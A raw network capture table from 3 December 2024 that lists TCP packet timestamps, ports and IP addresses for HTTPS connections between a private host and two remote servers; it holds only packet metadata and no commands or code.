Dec 3, 2024 17:56:00.096827984 CET	49948	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:00.096832991 CET	443	49948	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:00.099972963 CET	49953	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:00.100013018 CET	443	49953	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:00.100102901 CET	49953	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:00.100270987 CET	49953	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:00.100286007 CET	443	49953	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:00.138497114 CET	443	49950	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:00.139039040 CET	49950	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:00.139054060 CET	443	49950	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:00.139509916 CET	49950	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:00.139514923 CET	443	49950	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:00.300206900 CET	443	49949	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:00.302869081 CET	443	49949	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:00.302937031 CET	49949	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:00.302999020 CET	49949	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:00.303018093 CET	443	49949	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:00.303033113 CET	49949	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:00.303039074 CET	443	49949	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:00.306736946 CET	49954	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:00.306778908 CET	443	49954	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:00.307054043 CET	49954	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:00.307054043 CET	49954	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:00.307086945 CET	443	49954	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:00.732197046 CET	443	49950	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:00.735018015 CET	443	49950	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:00.735078096 CET	443	49950	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:00.735094070 CET	49950	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:00.735141039 CET	49950	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:00.735187054 CET	49950	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:00.735208988 CET	443	49950	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:00.735223055 CET	49950	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:00.735229015 CET	443	49950	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:00.738250017 CET	49955	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:00.738291979 CET	443	49955	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:00.738365889 CET	49955	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:00.738512039 CET	49955	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:00.738533020 CET	443	49955	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:01.527575016 CET	443	49951	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:01.528487921 CET	49951	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:01.528522015 CET	443	49951	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:01.530026913 CET	49951	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:01.530031919 CET	443	49951	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:01.728442907 CET	443	49952	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:01.729223967 CET	49952	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:01.729252100 CET	443	49952	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:01.730616093 CET	49952	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:01.730623007 CET	443	49952	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:01.977868080 CET	443	49951	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:01.980329990 CET	443	49951	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:01.980417967 CET	49951	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:01.980469942 CET	49951	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:01.980469942 CET	49951	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:01.980489969 CET	443	49951	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:01.980501890 CET	443	49951	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:01.984057903 CET	49956	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:01.984092951 CET	443	49956	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:01.984184980 CET	49956	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:01.984385014 CET	49956	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:01.984400034 CET	443	49956	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.069441080 CET	443	49953	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.070184946 CET	49953	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.070209026 CET	443	49953	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.071537018 CET	49953	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.071542025 CET	443	49953	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.166832924 CET	443	49952	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.169594049 CET	443	49952	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.169657946 CET	443	49952	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.169677973 CET	49952	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.169724941 CET	49952	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.169759035 CET	49952	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.169786930 CET	443	49952	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.169809103 CET	49952	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.169819117 CET	443	49952	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.173965931 CET	49957	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.174012899 CET	443	49957	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.174083948 CET	49957	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.174221992 CET	49957	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.174237967 CET	443	49957	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.247423887 CET	443	49954	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.247865915 CET	49954	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.247931004 CET	443	49954	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.248300076 CET	49954	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.248326063 CET	443	49954	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.508862972 CET	443	49953	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.511945009 CET	443	49953	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.512027979 CET	49953	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.512073040 CET	49953	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.512092113 CET	443	49953	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.512104034 CET	49953	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.512109041 CET	443	49953	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.515163898 CET	49958	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.515213966 CET	443	49958	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.515299082 CET	49958	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.515443087 CET	49958	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.515458107 CET	443	49958	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.687133074 CET	443	49954	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.689832926 CET	443	49954	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.689901114 CET	49954	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.689904928 CET	443	49954	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.689965010 CET	49954	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.690006018 CET	49954	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.690031052 CET	443	49954	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.690045118 CET	49954	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.690053940 CET	443	49954	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.693401098 CET	49959	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.693437099 CET	443	49959	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.693501949 CET	49959	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.693634987 CET	49959	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.693654060 CET	443	49959	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.700223923 CET	443	49955	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.700634956 CET	49955	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.700659990 CET	443	49955	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:02.701219082 CET	49955	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:02.701224089 CET	443	49955	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:03.163552046 CET	443	49955	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:03.163630962 CET	443	49955	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:03.163916111 CET	49955	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:03.164438009 CET	49955	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:03.164455891 CET	443	49955	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:03.164464951 CET	49955	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:03.164469957 CET	443	49955	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:03.167990923 CET	49960	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:03.168040037 CET	443	49960	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:03.168137074 CET	49960	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:03.168330908 CET	49960	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:03.168349028 CET	443	49960	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:03.805402994 CET	443	49956	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:03.805982113 CET	49956	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:03.806003094 CET	443	49956	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:03.806442976 CET	49956	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:03.806451082 CET	443	49956	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.008198977 CET	443	49957	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.008661985 CET	49957	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:04.008677006 CET	443	49957	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.009046078 CET	49957	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:04.009051085 CET	443	49957	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.281213999 CET	443	49956	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.283879042 CET	443	49956	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.283947945 CET	49956	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:04.284008026 CET	49956	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:04.284027100 CET	443	49956	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.284043074 CET	49956	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:04.284049034 CET	443	49956	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.286905050 CET	49961	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:04.286952019 CET	443	49961	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.287018061 CET	49961	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:04.287163019 CET	49961	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:04.287178040 CET	443	49961	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.368084908 CET	443	49958	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.368845940 CET	49958	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:04.368876934 CET	443	49958	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.369312048 CET	49958	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:04.369318008 CET	443	49958	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.533611059 CET	443	49957	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.536220074 CET	443	49957	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.536290884 CET	49957	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:04.536330938 CET	49957	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:04.536360979 CET	443	49957	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.536370993 CET	49957	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:04.536380053 CET	443	49957	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.541285992 CET	49962	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:04.541337967 CET	443	49962	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.541464090 CET	49962	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:04.541943073 CET	49962	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:04.541958094 CET	443	49962	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.568665028 CET	443	49959	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.569574118 CET	49959	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:04.569583893 CET	443	49959	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.570923090 CET	49959	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:04.570929050 CET	443	49959	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.816890955 CET	443	49958	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.816973925 CET	443	49958	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.817033052 CET	49958	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:04.817243099 CET	49958	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:04.817264080 CET	443	49958	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.817276955 CET	49958	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:04.817282915 CET	443	49958	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.821108103 CET	49963	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:04.821166992 CET	443	49963	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:04.821244001 CET	49963	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:04.821436882 CET	49963	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:04.821453094 CET	443	49963	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:05.032248020 CET	443	49959	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:05.032325029 CET	443	49959	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:05.032394886 CET	49959	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:05.032562971 CET	49959	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:05.032582998 CET	443	49959	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:05.032593966 CET	49959	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:05.032599926 CET	443	49959	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:05.035567045 CET	49964	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:05.035686016 CET	443	49964	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:05.035774946 CET	49964	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:05.035953999 CET	49964	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:05.035990000 CET	443	49964	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:05.037646055 CET	443	49960	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:05.038033009 CET	49960	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:05.038065910 CET	443	49960	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:05.038511992 CET	49960	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:05.038517952 CET	443	49960	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:05.525279999 CET	443	49960	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:05.528728008 CET	443	49960	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:05.528788090 CET	443	49960	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:05.528794050 CET	49960	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:05.528839111 CET	49960	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:05.528898954 CET	49960	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:05.528922081 CET	443	49960	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:05.528938055 CET	49960	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:05.528943062 CET	443	49960	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:05.534060001 CET	49965	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:05.534117937 CET	443	49965	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:05.534210920 CET	49965	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:05.534390926 CET	49965	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:05.534410000 CET	443	49965	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:06.052943945 CET	443	49961	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:06.053709030 CET	49961	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:06.053729057 CET	443	49961	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:06.054197073 CET	49961	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:06.054202080 CET	443	49961	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:06.074815989 CET	443	49940	142.250.181.100	192.168.2.4
Dec 3, 2024 17:56:06.074882984 CET	443	49940	142.250.181.100	192.168.2.4
Dec 3, 2024 17:56:06.074961901 CET	49940	443	192.168.2.4	142.250.181.100
Dec 3, 2024 17:56:06.303159952 CET	443	49962	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:06.303833961 CET	49962	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:06.303858995 CET	443	49962	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:06.304317951 CET	49962	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:06.304323912 CET	443	49962	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:06.501348019 CET	443	49961	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:06.501427889 CET	443	49961	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:06.501492977 CET	49961	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:06.501707077 CET	49961	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:06.501733065 CET	443	49961	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:06.501746893 CET	49961	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:06.501754045 CET	443	49961	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:06.505027056 CET	49966	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:06.505069017 CET	443	49966	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:06.505171061 CET	49966	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:06.505358934 CET	49966	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:06.505383015 CET	443	49966	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:06.666027069 CET	443	49963	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:06.666661978 CET	49963	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:06.666693926 CET	443	49963	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:06.667182922 CET	49963	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:06.667188883 CET	443	49963	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:06.747776031 CET	443	49962	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:06.750540018 CET	443	49962	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:06.750610113 CET	443	49962	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:06.750612974 CET	49962	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:06.750663996 CET	49962	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:06.750716925 CET	49962	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:06.750744104 CET	443	49962	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:06.750761032 CET	49962	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:06.750766993 CET	443	49962	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:06.753712893 CET	49967	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:06.753756046 CET	443	49967	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:06.753834963 CET	49967	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:06.753978014 CET	49967	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:06.753992081 CET	443	49967	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:06.806252003 CET	443	49964	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:06.806708097 CET	49964	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:06.806744099 CET	443	49964	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:06.807162046 CET	49964	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:06.807168961 CET	443	49964	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:07.117721081 CET	443	49963	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:07.120433092 CET	443	49963	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:07.120528936 CET	49963	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:07.120565891 CET	49963	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:07.120565891 CET	49963	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:07.120583057 CET	443	49963	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:07.120594025 CET	443	49963	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:07.124008894 CET	49968	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:07.124034882 CET	443	49968	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:07.124121904 CET	49968	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:07.124310017 CET	49968	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:07.124315977 CET	443	49968	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:07.332415104 CET	443	49964	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:07.335197926 CET	443	49964	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:07.335249901 CET	443	49964	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:07.335253000 CET	49964	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:07.335325956 CET	49964	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:07.335361958 CET	49964	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:07.335381985 CET	443	49964	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:07.335391998 CET	49964	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:07.335398912 CET	443	49964	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:07.338335037 CET	49969	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:07.338378906 CET	443	49969	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:07.338462114 CET	49969	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:07.338599920 CET	49969	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:07.338629007 CET	443	49969	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:07.505522966 CET	443	49965	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:07.506103039 CET	49965	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:07.506138086 CET	443	49965	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:07.506592989 CET	49965	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:07.506599903 CET	443	49965	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:07.947716951 CET	443	49965	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:07.947798967 CET	443	49965	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:07.947865009 CET	49965	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:07.948071003 CET	49965	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:07.948088884 CET	443	49965	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:07.948101997 CET	49965	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:07.948107958 CET	443	49965	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:07.951284885 CET	49970	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:07.951327085 CET	443	49970	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:07.951417923 CET	49970	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:07.951597929 CET	49970	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:07.951610088 CET	443	49970	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:08.025917053 CET	49940	443	192.168.2.4	142.250.181.100
Dec 3, 2024 17:56:08.025962114 CET	443	49940	142.250.181.100	192.168.2.4
Dec 3, 2024 17:56:08.447346926 CET	443	49966	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:08.447977066 CET	49966	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:08.448000908 CET	443	49966	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:08.448488951 CET	49966	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:08.448493958 CET	443	49966	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:08.707917929 CET	443	49967	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:08.708544970 CET	49967	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:08.708573103 CET	443	49967	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:08.709539890 CET	49967	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:08.709546089 CET	443	49967	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:08.913424969 CET	443	49966	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:08.916198969 CET	443	49966	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:08.916250944 CET	443	49966	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:08.916280985 CET	49966	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:08.916344881 CET	49966	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:08.916394949 CET	49966	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:08.916419983 CET	443	49966	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:08.916435003 CET	49966	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:08.916440964 CET	443	49966	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:08.919688940 CET	49971	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:08.919730902 CET	443	49971	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:08.919819117 CET	49971	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:08.920017958 CET	49971	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:08.920032978 CET	443	49971	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:08.986742973 CET	443	49968	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:08.987227917 CET	49968	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:08.987262011 CET	443	49968	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:08.987716913 CET	49968	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:08.987723112 CET	443	49968	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.159941912 CET	443	49967	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.162667036 CET	443	49967	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:09.162730932 CET	49967	443	192.168.2.4	13.107.246.63
